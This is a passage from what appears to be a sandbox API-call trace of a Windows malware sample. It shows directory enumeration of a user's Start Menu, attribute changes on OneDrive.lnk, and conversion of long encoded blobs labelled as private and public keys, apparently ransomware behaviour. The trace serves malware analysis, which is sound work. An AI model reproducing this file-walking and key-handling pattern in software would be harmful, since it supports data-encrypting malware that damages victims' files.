dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.175] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0185.175] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0185.175] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0185.175] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92576074, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0185.175] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92576074, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0 [0185.176] GetLastError () returned 0x12 [0185.176] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0185.176] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xd3e46430, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b268 [0185.176] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0185.176] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0185.176] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xd3e46430, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.176] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0185.176] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0185.176] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0185.176] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92576074, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0185.176] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0185.176] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0185.176] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92576074, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0185.177] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92576074, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0185.177] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3e9d102, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7977a532, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Accessibility", cAlternateFileName="ACCESS~2")) returned 1 [0185.177] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0185.177] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eed247, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0185.177] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce317778, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0185.177] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0185.177] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0185.177] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3eedf4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0185.177] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f13cff3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92aad258, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x944, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0185.177] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0185.177] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0185.177] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\onedrive.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f13cff3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92aad258, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x944)) returned 1 [0185.178] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\onedrive.lnk")) returned 0x20 [0185.178] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk", dwFileAttributes=0x80) returned 1 [0185.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0185.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0185.489] GetCurrentThreadId () returned 0xab4 [0185.489] GetCurrentThreadId () returned 0xab4 [0185.489] GetCurrentThreadId () returned 0xab4 [0185.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0185.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 